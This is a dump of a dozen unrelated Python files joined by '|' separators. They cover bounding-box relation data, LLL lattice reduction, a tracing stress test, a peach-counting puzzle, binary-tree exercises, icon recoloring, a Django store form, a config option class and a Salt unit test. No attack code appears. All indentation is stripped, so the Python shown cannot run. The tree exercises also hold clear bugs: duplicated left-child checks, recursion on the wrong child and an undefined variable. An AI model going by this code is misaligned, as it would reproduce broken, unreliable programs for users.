bbs1 = np.random.uniform(min_xywh,max_xywh, size=(nr_of_bb, 4))
bbs2 = np.random.uniform(min_xywh,max_xywh, size=(nr_of_bb, 4))
bbs12 = np.concatenate([bbs1,bbs2],axis=0)
bbst = np.random.uniform([0, 0, .2, .2], [1, 1, 1, 1], size=(nr_of_bb, 4))
# funcitions that ocmputes training examples or relations between BB
def angle(bb1,bb2):
c1 = bb1[:2] + .5*bb1[2:]
c2 = bb2[:2] + .5*bb2[2:]
x = c2 - c1
return np.angle(x[0] + 1j*x[1],deg=True)
def is_left(bb1,bb2):
return bb1[0] + bb1[2] < bb2[0] and np.abs(angle(bb1, bb2)) < 5
def is_not_left(bb1,bb2):
return bb1[0] + bb1[2] > bb2[0] or np.abs(angle(bb1, bb2)) > 45
def is_right(bb1, bb2):
return is_left(bb2,bb1)
def is_not_right(bb1,bb2):
return is_not_left(bb2,bb1)
def is_below(bb1, bb2):
return bb1[1] + bb1[3] < bb2[1] and np.abs(angle(bb1, bb2)-90) < 5
def is_not_below(bb1, bb2):
return bb1[1] + bb1[3] > bb2[1] or np.abs(angle(bb1, bb2)-90) > 45
def is_above(bb1, bb2):
return is_below(bb2,bb1)
def is_not_above(bb1,bb2):
return is_not_below(bb2,bb1)
def contains(bb1,bb2):
return bb1[0] < bb2[0] and bb1[0] + bb1[2] > bb2[0] + bb2[2] and \
bb1[1] < bb2[1] and bb1[1] + bb1[3] > bb2[1] + bb2[3]
def not_contains(bb1,bb2):
return not contains(bb1,bb2)
def is_in(bb1,bb2):
return contains(bb2,bb1)
def is_not_in(bb1,bb2):
return not is_in(bb1,bb2)
# pairs of rectangles for training
left_data = np.array([np.concatenate([bbs1[i],bbs2[i]],axis=0)
for i in range(nr_of_bb)
if is_left(bbs1[i],bbs2[i])])
left_data = np.squeeze(left_data)
right_data = np.array([np.concatenate([bbs1[i],bbs2[i]],axis=0)
for i in range(nr_of_bb)
if is_right(bbs1[i],bbs2[i])])
right_data = np.squeeze(right_data)
above_data = np.array([np.concatenate([bbs1[i],bbs2[i]],axis=0)
for i in range(nr_of_bb)
if is_above(bbs1[i],bbs2[i])])
above_data = np.squeeze(above_data)
below_data = np.array([np.concatenate([bbs1[i],bbs2[i]],axis=0)
for i in range(nr_of_bb)
if is_below(bbs1[i],bbs2[i])])
below_data = np.squeeze(below_data)
contain_data = np.array([np.concatenate([bbs1[i],bbs2[i]],axis=0)
for i in range(nr_of_bb)
if contains(bbs1[i],bbs2[i])])
contain_data = np.squeeze(contain_data)
in_data = np.array([np.concatenate([bbs1[i],bbs2[i]],axis=0)
for i in range(nr_of_bb)
if is_in(bbs1[i],bbs2[i])])
in_data = np.squeeze(in_data)
non_left_data = np.array([np.concatenate([bbs1[i],bbs2[i]],axis=0)
for i in range(nr_of_bb)
if is_not_left(bbs1[i],bbs2[i])])
non_left_data = np.squeeze(non_left_data)
non_right_data = np.array([np.concatenate([bbs1[i],bbs2[i]],axis=0)
for i in range(nr_of_bb)
if is_not_right(bbs1[i],bbs2[i])])
not_right_data = np.squeeze(non_right_data)
non_above_data = np.array([np.concatenate([bbs1[i],bbs2[i]],axis=0)
for i in range(nr_of_bb)
if is_not_above(bbs1[i],bbs2[i])])
non_above_data = np.squeeze(non_above_data)
non_below_data = np.array([np.concatenate([bbs1[i],bbs2[i]],axis=0)
for i in range(nr_of_bb)
if is_not_below(bbs1[i],bbs2[i])])
non_below_data = np.squeeze(non_below_data)
non_contain_data = np.array([np.concatenate([bbs1[i],bbs2[i]],axis=0)
for i in range(nr_of_bb)
if not_contains(bbs1[i],bbs2[i])])
non_contain_data = np.squeeze(non_contain_data)
non_in_data = np.array([np.concatenate([bbs1[i],bbs2[i]],axis=0)
for i in range(nr_of_bb)
if is_not_in(bbs1[i],bbs2[i])])
non_in_data = np.squeeze(non_in_data)
def generate_rectangles(nr_rectangles,min_xywh = [.0,.0,.2,.2],max_xywh = [1.,1.,1.,1.]):
return np.random.uniform(min_xywh,max_xywh, size=(nr_rectangles, 4)).astype("float32")
def angle(bbs1,bbs2):
c1 = bbs1[:,:2] + .5*bbs1[:,2:]
c2 = bbs2[:,:2] + .5*bbs2[:,2:]
x = c2 - c1
return np.angle(x[:,0] + 1j*x[:,1],deg=True)
def is_left(bbs1,bbs2):
return np.logical_and(bbs1[:,0] + bbs1[:,2] < bbs2[:,0],np.abs(angle(bbs1, bbs2)) < 5.)
def is_not_left(bbs1,bbs2):
return np.logical_or(bbs1[:,0] + bbs1[:,2] > bbs2[:,0], np.abs(angle(bbs1, bbs2)) > 45)
def is_right(bbs1, bbs2):
return is_left(bbs2,bbs1)
def is_not_right(bbs1,bbs2):
return is_not_left(bbs2,bbs1)
def is_below(bbs1, bbs2):
return np.logical_and(bbs1[:,1] + bbs1[:,3] < bbs2[:,1],np.abs(angle(bbs1, bbs2)-90) < 5)
def is_not_below(bbs1, bbs2):
return np.logical_or(bbs1[:,1] + bbs1[:,3] > bbs2[:,1],np.abs(angle(bbs1, bbs2)-90) > 45)
def is_above(bbs1, bbs2):
return is_below(bbs2,bbs1)
def is_not_above(bbs1,bbs2):
return is_not_below(bbs2,bbs1)
def contains(bbs1,bbs2):
return np.all([bbs1[:,0] < bbs2[:,0],
bbs1[:,0] + bbs1[:,2] > bbs2[:,0] + bbs2[:,2],
bbs1[:,1] < bbs2[:,1],
bbs1[:,1] + bbs1[:,3] > bbs2[:,1] + bbs2[:,3]],axis=0)
def not_contains(bbs1,bbs2):
return np.logical_not(contains(bbs1,bbs2))
def is_in(bbs1,bbs2):
return contains(bbs2,bbs1)
def is_not_in(bbs1,bbs2):
return np.logical_not(is_in(bbs1,bbs2))
# generations of data for negative examples and generic rectangles used to feed the variables x,y,z
nr_random_bbs = 50
def get_data(type):
feed_dict = {}
feed_dict["?left_xy"] = left_data
feed_dict["?right_xy"] = right_data
feed_dict["?below_xy"] = below_data
feed_dict["?above_xy"] = above_data
feed_dict["?contains_xy"] = non_contain_data[np.random.choice(len(non_contain_data),nr_random_bbs,replace=True)].astype(np.float32)
feed_dict["?contained_in_xy"] = non_in_data[np.random.choice(len(non_in_data),nr_random_bbs,replace=True)].astype(np.float32)
feed_dict["?non_left_data"] = non_left_data[np.random.choice(len(non_left_data),nr_random_bbs,replace=True)].astype(np.float32)
feed_dict["?not_left_xy"] = non_right_data[np.random.choice(len(non_right_data),nr_random_bbs,replace=True)].astype(np.float32)
feed_dict["?not_below_xy"] = non_below_data[np.random.choice(len(non_below_data),nr_random_bbs,replace=True)].astype(np.float32)
feed_dict["?not_above_xy"] = non_above_data[np.random.choice(len(non_above_data),nr_random_bbs,replace=True)].astype(np.float32)
feed_dict["?not_contains_xy"] = non_contain_data[np.random.choice(len(non_contain_data),nr_random_bbs,replace=True)].astype(np.float32)
feed_dict["?not_contained_in_xy"] = non_in_data[np.random.choice(len(non_in_data),nr_random_bbs,replace=True)].astype(np.float32)
feed_dict["?x"] = bbs12[np.random.choice(len(bbs12),nr_random_bbs,replace=True)].astype(np.float32)
feed_dict["?y"] = bbs12[np.random.choice(len(bbs12),nr_random_bbs,replace=True)].astype(np.float32)
feed_dict["?z"] = bbs12[np.random.choice(len(bbs12),nr_random_bbs,replace=True)].astype(np.float32)
return feed_dict
|
filename='update.test'
with open(filename) as f:
conf=[]
for line in f:
line=line.strip().split(',')
conf.append(line)
def update_data(d='d'):
if 'test' in conf:
print 'updated!!'
else:
print 'notupdate'
|
from __future__ import division
from fractions import Fraction
from vector import Vector
import unittest
def gcd(a, b):
while b:
a, b = b, a%b
return a
class IntegerLattice:
def __init__(s, *args):
if len(args) == 1 and hasattr(args[0], '__iter__'):
s.basis = list(args[0])
else:
s.basis = list(args)
if not all(isinstance(v, Vector) for v in s.basis):
raise ValueError("A lattice basis must be a list of instance of Vector.")
if not all(len(v) == len(s.basis[0]) for v in s.basis):
raise ValueError("All lattice basis must have the same size.")
if not all(all(isinstance(x, int) for x in v) for v in s.basis):
raise ValueError("This class is only implemented a lattice over the Integer ring.")
# Initialize "gcd" vector
v = list(s.basis[0])
for x in s.basis[1:]:
x = list(x)
v = [gcd(a, b) for a, b in zip(x, v)]
s.gcd_vector = v
def __repr__(s):
ret = s.__class__.__name__
ret += '(' + ', '.join(map(repr, s.basis)) + ')'
return ret
def __eq__(s, other):
if isinstance(other, IntegerLattice):
return s.basis == other.basis
elif hasattr(other, '__iter__'):
return s.basis == list(other)
else:
return False
def __str__(s):
return 'Integer Lattice with {} basis [{}]'.format(len(s.basis), ', '.join(map(str, s.basis)))
def is_point(s, v):
return all(divmod(x, y)[1] == 0 for x, y in zip(v, s.gcd_vector))
def gram_schmidt_orthgonalization(L):
bc = (Fraction, int)
basis = [Vector(list(x), base_class=bc) for x in L.basis]
ret = [basis[0]]
for j in range(1, len(basis)):
t = Vector([0 for _ in basis], base_class=bc)
for i in range(j):
t = t.add(ret[i].scalar_mult(Fraction(basis[j].inner_product(ret[i]), ret[i].inner_product(ret[i]))))
ret += [basis[j].sub(t)]
return ret
def is_LLL_basis(L, delta=3/4):
n = len(L.basis)
m = len(L.basis[0])
gs_basis = gram_schmidt_orthgonalization(L)
for i in range(1, n):
bi = L.basis[i]
for j in range(i):
bj_star = gs_basis[j]
if abs(bi.inner_product(bj_star) / (bj_star.norm()**2)) > 1/2:
return False
for i in range(n - 1):
if delta * gs_basis[i].norm()**2 > gs_basis[i+1].norm()**2:
return False
return True
def LLL(L, delta=3/4):
import copy
import math
L = copy.deepcopy(L)
n = len(L.basis)
while True:
for i in range(n):
for _j in range(i):
bi = L.basis[i]
j = i - _j - 1
bj = L.basis[j]
cij = int(math.floor(bi.inner_product(bj) / bj.inner_product(bj) + 0.5))
L.basis[i] = bi.sub(bj.scalar_mult(cij))
gs_basis = gram_schmidt_orthgonalization(L)
return_flag = True
for i in range(n - 1):
if delta * gs_basis[i].norm()**2 > gs_basis[i + 1].norm()**2:
L.basis[i], L.basis[i + 1] = L.basis[i + 1], L.basis[i]
return_flag = False
break
if return_flag:
return L
|
"""
Synthetic example with high concurrency. Used primarily to stress test the
library.
"""
import argparse
import contextlib
import sys
import time
import threading
import random
# Comment out to test against the published copy
import os
sys.path.insert(1, os.path.dirname(os.path.realpath(__file__)) + '/../..')
import opentracing
import zipkin_ot
def sleep_dot():
"""Short sleep and writes a dot to the STDOUT.
"""
time.sleep(0.05)
sys.stdout.write('.')
sys.stdout.flush()
def add_spans():
"""Calls the opentracing API, doesn't use any OpenZipkin-specific code.
"""
with opentracing.tracer.start_span(operation_name='trivial/initial_request') as parent_span:
parent_span.set_tag('url', 'localhost')
parent_span.log_event('All good here!', payload={'N': 42, 'pi': 3.14, 'abc': 'xyz'})
parent_span.set_tag('span_type', 'parent')
parent_span.set_baggage_item('checked', 'baggage')
rng = random.SystemRandom()
for i in range(50):
time.sleep(rng.random() * 0.2)
sys.stdout.write('.')
sys.stdout.flush()
# This is how you would represent starting work locally.
with opentracing.start_child_span(parent_span, operation_name='trivial/child_request') as child_span:
child_span.log_event('Uh Oh!', payload={'error': True})
child_span.set_tag('span_type', 'child')
# Play with the propagation APIs... this is not IPC and thus not
# where they're intended to be used.
text_carrier = {}
opentracing.tracer.inject(child_span.context, opentracing.Format.TEXT_MAP, text_carrier)
span_context = opentracing.tracer.extract(opentracing.Format.TEXT_MAP, text_carrier)
with opentracing.tracer.start_span(
'nontrivial/remote_span',
child_of=span_context) as remote_span:
remote_span.log_event('Remote!')
remote_span.set_tag('span_type', 'remote')
time.sleep(rng.random() * 0.1)
opentracing.tracer.flush()
def zipkin_ot_tracer_from_args():
"""Initializes OpenZipkin from the commandline args.
"""
parser = argparse.ArgumentParser()
parser.add_argument('--host', help='The OpenZipkin reporting service host to contact.',
default='localhost')
parser.add_argument('--port', help='The OpenZipkin reporting service port.',
type=int, default=9411)
parser.add_argument('--service_name', help='The OpenZipkin component name',
default='TrivialExample')
args = parser.parse_args()
return zipkin_ot.Tracer(
service_name=args.service_name,
collector_host=args.host,
collector_port=args.port,
verbosity=1)
if __name__ == '__main__':
print('Hello, ')
# Use OpenZipkin's opentracing implementation
with zipkin_ot_tracer_from_args() as tracer:
opentracing.tracer = tracer
for j in range(20):
threads = []
for i in range(64):
t = threading.Thread(target=add_spans)
threads.append(t)
t.start()
for t in threads:
t.join()
print('\n')
print(' World!')
|
"""
3，猴子吃桃问题：猴子第一天摘下若干个桃子，当即吃了一半，还不瘾，又多吃了一个。第二天早上又将剩下的桃子吃掉一半，又多吃了一个。
以后每天早上都吃了前一天剩下的一半零一个。到第10天早上想再吃时，见只剩下一个桃子了。求第一天共摘了多少。
"""
def find_x(day):
x = 3*(2**(day-1))-2
return x
print(find_x(10))
# a10=1
# a9=(a10+1)*2
# a8=(a9+1)*2
# ....
# 数学思想，正常人的思想
# res = 1
# for i in range(9):
# res += 1
# res *= 2
# print(res)
# 计算机的思想
res01 = 1
while True:
res = res01
for i in range(9):
res /= 2
res -= 1
if res == 1:
print(res01)
break
res01 += 1
|
from __future__ import annotations
from collections import deque
from dataclasses import dataclass
from types import SimpleNamespace
from typing import Deque, Optional
@dataclass
class Node:
data: int
left: Optional[Node] = None
right: Optional[Node] = None
def left_tree_value_bfs(root: Node):
result: Node = None
queue: Deque = deque()
queue.append(root)
left_most: Node = None
while len(queue) > 0:
level_len: int = len(queue)
left_most: Node = None
for children in range(level_len):
node: Node = queue.popleft()
if node.left:
queue.append(node.left)
if not left_most:
left_most = node.left
result = left_most
if node.right:
queue.append(node.right)
print(result)
def is_tree_height_balance(source: Node):
result = SimpleNamespace(is_balance=True)
def helper(source: Node):
if not source.left and not source.right:
return 0
left_height, right_height = 0, 0
if source.left:
left_height = helper(source.left) + 1
if source.left:
right_height = helper(source.right) + 1
if result.is_balance and abs(left_height - right_height) not in {0, 1}:
print(f"Tree is unbalance: {root}, {left_height} {right_height}")
result.is_balance = False
return max(left_height, right_height)
helper(source)
print(result)
# LeetCode Problem: 563
def binary_tree_tilt(root: Node):
if not root.left and not root.right:
return 0
tilt = 0
if root.left:
tilt = binary_tree_tilt(root.left)
if root.right:
tilt = binary_tree_tilt(root.left)
tilt += abs(root.left.data - root.right.data)
return tilt
root: Node = Node(2)
root.left = Node(1)
root.right = Node(3)
left_tree_value_bfs(root)
root = Node(1)
root.left = Node(2)
root.left.left = Node(4)
root.right = Node(3)
root.right.left = Node(5)
root.right.left.left = Node(7)
root.right.right = Node(6)
left_tree_value_bfs(root)
root = Node(3)
root.left = Node(9)
root.right = Node(20)
root.right.right = Node(7)
root.right.left = Node(15)
is_tree_height_balance(root)
root = Node(1)
root.left = Node(2)
root.right = Node(2)
root.left.right = Node(3)
root.left.left = Node(3)
root.left.left.right = Node(4)
root.left.left.left = Node(4)
is_tree_height_balance(root)
root: Node = Node(1)
root.left = Node(2)
root.right = Node(3)
print(f"Tilt Value of Tree: {binary_tree_tilt(root)}")
|
"""
Batch process Windows 10 and 7/8 icon file colorings
Python 3.x
"""
import io
import os
import sys
import struct
import statistics
from pprint import pprint
from colorsys import rgb_to_hls, hls_to_rgb
from PIL import Image # pip3 install pillow
"""
Windows10.ico:
Values: 25,559
Hue Avg: 45.228, Median: 45.149, Mode: 44.776, Stdev: 0.582, Min: 43.235, Max: 46.567
Sat Avg: 74.136, Median: 73.333, Mode: 82.353, Stdev: 5.108, Min: 64.510, Max: 87.255
Lum Avg: 92.817, Median: 94.161, Mode: 100.000, Stdev: 6.975, Min: 74.444, Max: 100.000
Windows7_8_no_label.ico:
Values: 31,355
Hue Avg: 48.765, Median: 48.358, Mode: 53.924, Stdev: 2.748, Min: 41.351, Max: 55.714
Sat Avg: 71.403, Median: 72.157, Mode: 84.510, Stdev: 10.190, Min: 30.392, Max: 97.843
Lum Avg: 76.613, Median: 79.661, Mode: 100.000, Stdev: 17.735, Min: 31.034, Max: 100.000
Google Material Design (GMD) color palette:
https://material-ui.com/customization/color/
With the base Win10 SL its between the 200 and 300 shade
"""
base_path = '../Controller/Resources/'
# Windows 10 color set tweak table
win10_hue = -45.228 # Hue offset
win10_table = [
# Output file name HUE (0-360) Sat Level scalar
["Win10set/Black.ico", win10_hue + 50.0, 0.0, 0.35], # grey 800 hsl(0, 0%, 26%)
["Win10set/Blue gray.ico", win10_hue + 200.0, 0.195, 0.73], # blueGrey 400 hsl(200, 15%, 54%)
["Win10set/Blue.ico", win10_hue + 207.0, 0.99, 0.92], # blue 400 hsl(207, 89%, 68%)
["Win10set/Brown.ico", win10_hue + 16.0, 0.215, 0.64], # brown 400 hsl(16, 18%, 47%)
["Win10set/Cyan.ico", win10_hue + 187, 0.79, 0.8], # cyan 300 hsl(187, 71%, 59%)
["Win10set/Gray.ico", win10_hue + 50.0, 0.0, 1.1], # grey 300 hsl(0, 0%, 88%)
["Win10set/Green.ico", win10_hue + 123.0, 0.45, 0.77], # green 400 hsl(123, 38%, 57%)
["Win10set/Lime.ico", win10_hue + 66.0, 0.78, 0.80], # lime 400 hsl(66, 70%, 61%)
["Win10set/Orange.ico", win10_hue + 36.0, 1.5, 0.86], # orange 300 hsl(36, 100%, 65%)
["Win10set/Pink.ico", win10_hue + 340.0, 0.92, 0.99], # pink 300 hsl(340, 83%, 66%)
["Win10set/Purple.ico", win10_hue + 291.0, 0.53, 0.815], # purple 300 hsl(291, 47%, 60%)
["Win10set/Red.ico", win10_hue + 1.0, 0.92, 0.85], # red 400 hsl(1, 83%, 63%)
["Win10set/Teal.ico", win10_hue + 174.0, 0.476, 0.69], # teal 300 hsl(174, 42%, 51%)
["Win10set/Yellow.ico", win10_hue + 54.0, 1.22, 0.91] # yellow 400 hsl(54, 100%, 67%)
]
# Windows 7 & 8 base icon tweak table
# TODO: Windows 7/8 icons set could use more TLC. The LS parts are not tweaked, just copied from the Win10 set above
win7_8_hue = -48.765
win7_8_table = [
["Win7_8set/Black.ico", win7_8_hue + 50.0, 0.0, 0.35], # grey 800 hsl(0, 0%, 26%)
["Win7_8set/Blue gray.ico", win7_8_hue + 200.0, 0.195, 0.73], # blueGrey 400 hsl(200, 15%, 54%)
["Win7_8set/Blue.ico", win7_8_hue + 207.0, 0.99, 0.92], # blue 400 hsl(207, 90%, 61%)
["Win7_8set/Brown.ico", win7_8_hue + 16.0, 0.215, 0.64], # brown 400 hsl(16, 18%, 47%)
["Win7_8set/Cyan.ico", win7_8_hue + 187, 0.79, 0.8], # cyan 300 hsl(187, 71%, 59%)
["Win7_8set/Gray.ico", win7_8_hue + 50.0, 0.0, 1.1], # grey 300 hsl(0, 0%, 88%)
["Win7_8set/Green.ico", win7_8_hue + 123.0, 0.45, 0.77], # green 400 hsl(123, 38%, 57%)
["Win7_8set/Lime.ico", win7_8_hue + 66.0, 0.78, 0.83], # lime 400 hsl(66, 70%, 61%)
["Win7_8set/Orange.ico", win7_8_hue + 36.0, 1.5, 0.88], # orange 300 hsl(36, 100%, 65%)
["Win7_8set/Pink.ico", win7_8_hue + 340.0, 0.92, 0.99], # pink 300 hsl(340, 83%, 66%)
["Win7_8set/Purple.ico", win7_8_hue + 291.0, 0.53, 0.815], # purple 300 hsl(291, 47%, 60%)
["Win7_8set/Red.ico", win7_8_hue + 1.0, 0.92, 0.85], # red 400 hsl(1, 83%, 63%)
["Win7_8set/Teal.ico", win7_8_hue + 174.0, 0.476, 0.69], # teal 300 hsl(174, 42%, 51%)
["Win7_8set/Yellow.ico", win7_8_hue + 54.0, 1.22, 0.91] # yellow 400 hsl(54, 100%, 67%)
]
# Apply hue to a copy of the base image and save it
def apply_color(im, out_path, hue_o, sat_s, lum_s, isWin10):
print("%s:" % out_path)
# PIL uses scalar values
hue_o /= 360.0
assert hue_o <= 1.0
label_x_limit = 1000
# Apply color tweak to each sub-icon from the base input set
out_frames = []
for i in range(im.ico.nb_items):
png_im = im.ico.frame(i)
pxi = png_im.load()
print(" [%u] size: %u" % (i, png_im.width))
# Approximate Win 7/8 label x start position
if not isWin10:
label_x_limit = (png_im.width * 0.6)
new_im = Image.new("RGBA", (png_im.width, png_im.width), "purple")
pxo = new_im.load()
for y in range(png_im.width):
for x in range(png_im.width):
# Pixel from RGB to HLS color space
r, g, b, a = pxi[x, y]
# No need to colorize transparent pixels
if a > 0:
h, l, s = rgb_to_hls(float(r) / 255.0, float(g) / 255.0, float(b) / 255.0)
# Leave the Windows 7/8 folder label alone
# The label is white (zero'ish hue) and blue range(around 90 to 300)
if not ((x >= label_x_limit) and (h < (40.0 / 360.0)) or (h > (100.0 / 360.0))):
# Tweak pixel
h = (h + hue_o)
# Hue is circular, let it wrap around
if h > 1.0:
h -= 1.0
s = min(1.0, (s * sat_s))
l = min(1.0, (l * lum_s))
# Back to RGB from HLS
r, g, b = hls_to_rgb(h, l, s)
r = min(int(r * 255.0), 255)
g = min(int(g * 255.0), 255)
b = min(int(b * 255.0), 255)
pxo[x, y] = (r, g, b, a)
#new_im.show()
out_frames.append(new_im)
"""
Write out the the modified icon copy.
PIL(Pillow) while supports full loading of multi-size embedded.ico files, it has limited support for writing
them back out. It takes the first/parent image and saves out scaled down filtered thumbnail sizes instead.
The IcoImageFile _save() function was almost complete though. Here is a copy of that code with the copy part
replaced with individual "frame" writes instead.
As an added bonus from the code, it saves the icon sections out as compressed .png sections (supported since Windows Vista)
which makes our icon sets much smaller than the default BMP section format that most icon tools use.
"""
fp = open(base_path + out_path, 'wb')
fp.write(b"\0\0\1\0") # Magic
fp.write(struct.pack("<H", len(out_frames))) # idCount(2)
offset = (fp.tell() + len(out_frames) * 16)
for ni in out_frames:
width, height = ni.width, ni.height
# 0 means 256
fp.write(struct.pack("B", width if width < 256 else 0)) # bWidth(1)
fp.write(struct.pack("B", height if height < 256 else 0)) # bHeight(1)
fp.write(b"\0") # bColorCount(1)
fp.write(b"\0") # bReserved(1)
fp.write(b"\0\0") # wPlanes(2)
fp.write(struct.pack("<H", 32)) # wBitCount(2)
image_io = io.BytesIO()
ni.save(image_io, "png")
image_io.seek(0)
image_bytes = image_io.read()
bytes_len = len(image_bytes)
fp.write(struct.pack("<I", bytes_len)) # dwBytesInRes(4)
fp.write(struct.pack("<I", offset)) # dwImageOffset(4)
current = fp.tell()
fp.seek(offset)
fp.write(image_bytes)
offset = offset + bytes_len
fp.seek(current)
fp.close()
print(" ")
# From Windows base icon image to our color sets
def process_icon_base(in_file, nfo_table, isWin10):
# Load base icon image
im = Image.open(in_file)
#print(in_file, im.info, im.format, im.size, im.mode)
# Build color sets
for e in nfo_table:
apply_color(im, e[0], e[1], e[2], e[3], isWin10)
# Windows 10
print("-- Creating Windows 10 set..")
process_icon_base("Windows10.ico", win10_table, True)
print("-- Creating Windows 7 & 8 set..")
process_icon_base("Windows7_8_rgba.ico", win7_8_table, False)
|
from django import forms
from django.conf import settings
from django.http import HttpResponse, HttpResponseRedirect, Http404
from manager import models as pmod
from . import templater
from django.conf import settings
import decimal, datetime
# This page allows an employee to make or edit a store
def process_request(request):
if not request.user.is_authenticated():
return HttpResponseRedirect('/manager/login')
if request.user.is_staff == False:
return HttpResponseRedirect('/manager/')
'''Shows the list of stores'''
if request.urlparams[0] == "new":
form = StoreForm(initial ={
'locationName': "",
'manager': "",
'street': "",
'city': "",
'state': "",
'zipcode': "",
'phone': "",
})
else:
store = pmod.Store.objects.get(id=request.urlparams[0])
form = StoreForm(initial ={
'locationName': store.locationName,
'manager': store.manager,
'street': store.street,
'city': store.city,
'state': store.state,
'zipcode': store.zipcode,
'phone': store.phone,
})
if request.method == 'POST':
form = StoreForm(request.POST)
if form.is_valid():
if request.urlparams[0] == "new":
store = pmod.Store()
store.locationName = form.cleaned_data['locationName']
store.manager = form.cleaned_data['manager']
store.street = form.cleaned_data['street']
store.city = form.cleaned_data['city']
store.state = form.cleaned_data['state']
store.zipcode = form.cleaned_data['zipcode']
store.phone = form.cleaned_data['phone']
store.active = True
store.save()
return HttpResponseRedirect('/manager/stores')
tvars = {
'form': form,
}
return templater.render_to_response(request, 'store_details.html', tvars)
class StoreForm(forms.Form):
locationName = forms.CharField(required=False, label='Location Name', widget=forms.TextInput(attrs={'class':'form-control'}))
manager = forms.ModelChoiceField(queryset=pmod.User.objects.filter(is_staff=True), label="Manager", widget=forms.Select(attrs={'class':'form-control'}))
street = forms.CharField(required=False, label='Street', widget=forms.TextInput(attrs={'class':'form-control'}))
city = forms.CharField(required=False, label='City', widget=forms.TextInput(attrs={'class':'form-control'}))
state = forms.CharField(required=False, label='State', widget=forms.TextInput(attrs={'class':'form-control'}))
zipcode = forms.CharField(required=False, label='Zipcode', widget=forms.TextInput(attrs={'class':'form-control'}))
phone = forms.CharField(required=False, label='Phone', widget=forms.TextInput(attrs={'class':'form-control'}))
#def clean_store_text(self): |
import json
from nativeconfig.exceptions import DeserializationError, ValidationError, InitializationError
from nativeconfig.options.base_option import BaseOption
class DictOption(BaseOption):
"""
DictOption represents Python dict in config. DictOption can contain other Options as values of dict.
"""
def __init__(self, name, value_option=None, **kwargs):
"""
Accepts all the arguments of BaseConfig except choices.
"""
super().__init__(name, getter='get_dict_value', setter='set_dict_value', **kwargs)
if value_option:
from nativeconfig.options import ArrayOption
if isinstance(value_option, BaseOption) \
and not isinstance(value_option, ArrayOption) \
and not isinstance(value_option, DictOption):
self._value_option = value_option
else:
raise InitializationError("Value option must be instance of one of base options except array and dict!")
else:
self._value_option = None
def serialize(self, value):
serializable_dict = {}
if isinstance(self._value_option, BaseOption):
for k, v in value.items():
serialized_v = self._value_option.serialize(v)
serializable_dict.update({k: serialized_v})
return serializable_dict
else:
return value
def deserialize(self, raw_value):
try:
if isinstance(self._value_option, BaseOption):
deserialized_dict = {}
for k, v in raw_value.items():
deserialized_dict.update({k: self._value_option.deserialize(v)})
value = deserialized_dict
else:
value = raw_value
except DeserializationError:
raise DeserializationError("Unable to deserialize \"{}\" into dict!".format(raw_value), raw_value)
else:
return value
def serialize_json(self, value):
serializable_dict = {}
if isinstance(self._value_option, BaseOption):
for k, v in value.items():
serialized_v = self._value_option.serialize(v)
serializable_dict.update({k: serialized_v})
return json.dumps(serializable_dict)
else:
return json.dumps(value)
def deserialize_json(self, json_value):
try:
value = json.loads(json_value)
except ValueError:
raise DeserializationError("Invalid json: \"{}\"".format(json_value), json_value)
else:
return value
def validate(self, value):
super().validate(value)
try:
valid_val = dict(value)
except (ValueError, TypeError):
raise ValidationError("Invalid dict \"{}\"!".format(value), value)
|
# -*- coding: utf-8 -*-
'''
:codeauthor: :email:`Rahul Handay <[email protected]>`
'''
# Import Python Libs
from __future__ import absolute_import
# Import Salt Testing Libs
from salttesting import TestCase, skipIf
from salttesting.helpers import ensure_in_syspath
from salttesting.mock import (
MagicMock,
patch,
NO_MOCK,
NO_MOCK_REASON
)
ensure_in_syspath('../../')
# Import Salt Libs
from salt.states import win_servermanager
# Globals
win_servermanager.__salt__ = {}
win_servermanager.__opts__ = {}
@skipIf(NO_MOCK, NO_MOCK_REASON)
class WinServermanagerTestCase(TestCase):
'''
Validate the win_servermanager state
'''
def test_installed(self):
'''
Test to install the windows feature
'''
ret = {'name': 'salt',
'changes': {},
'result': True,
'comment': ''}
mock = MagicMock(side_effect=['salt', 'stack', 'stack'])
mock1 = MagicMock(return_value={'Success': 'True'})
with patch.dict(win_servermanager.__salt__,
{"win_servermanager.list_installed": mock,
"win_servermanager.install": mock1}):
ret.update({'comment': 'The feature salt is already installed'})
self.assertDictEqual(win_servermanager.installed('salt'), ret)
with patch.dict(win_servermanager.__opts__, {"test": True}):
ret.update({'changes': {'feature':
'salt will be installed'
' recurse=False'}, 'result': None,
'comment': ''})
self.assertDictEqual(win_servermanager.installed('salt'), ret)
with patch.dict(win_servermanager.__opts__, {"test": False}):
ret.update({'changes': {'feature': {'Success': 'True'}},
'result': True, 'comment': 'Installed salt'})
self.assertDictEqual(win_servermanager.installed('salt'),
ret)
def test_removed(self):
'''
Test to remove the windows feature
'''
ret = {'name': 'salt',
'changes': {},
'result': True,
'comment': ''}
mock = MagicMock(side_effect=['stack', 'salt', 'salt'])
mock1 = MagicMock(return_value={'Success': 'True'})
with patch.dict(win_servermanager.__salt__,
{"win_servermanager.list_installed": mock,
"win_servermanager.remove": mock1}):
ret.update({'comment': 'The feature salt is not installed'})
self.assertDictEqual(win_servermanager.removed('salt'), ret)
with patch.dict(win_servermanager.__opts__, {"test": True}):
ret.update({'changes': {'feature':
'salt will be removed'},
'result': None, 'comment': ''})
self.assertDictEqual(win_servermanager.removed('salt'), ret)
with patch.dict(win_servermanager.__opts__, {"test": False}):
ret.update({'changes': {'feature': {'Success': 'True'}},
'result': True})
self.assertDictEqual(win_servermanager.removed('salt'),
ret)
if __name__ == '__main__':
from integration import run_tests
run_tests(WinServermanagerTestCase, needs_daemon=False)
|
from dataclasses import dataclass
from bindings.gmd.md_geometric_objects_type import MdGeometricObjectsType
__NAMESPACE__ = "http://www.isotc211.org/2005/gmd"
@dataclass
class MdGeometricObjects(MdGeometricObjectsType):
class Meta:
name = "MD_GeometricObjects"
namespace = "http://www.isotc211.org/2005/gmd"
|
# -*- coding: utf-8 -*-
from __future__ import (absolute_import, division, print_function)
import math
from collections import OrderedDict
from ..util import import_
import numpy as np
from ..symbolic import SymbolicSys, TransformedSys, symmetricsys
sp = import_('sympy')
ys = [
np.array([0.43976714474700634, 0.10031118340143896, 0.38147224769822524,
1.7675704061619617e-11]),
np.array([0.00064313123504933787, 0.00014677490343001067, 9.536739572030514e-05, 1.6877253332428752e-11])
]
ps = [
[328.65, 39390, -135.3, 18010, 44960, 48.2,
49320, -114.6, 1780, -47941.550570419757,
107.24619394365152, 67486.458673807123, -170.63617364489184],
[321.14999999999998, 39390, -135.30000000000001, 18010, 44960, 48.200000000000003,
49320, -114.59999999999999, 1780, -34400.547966379738,
-2.865040967667511, 93065.338440593958, 5.7581184659305222]
]
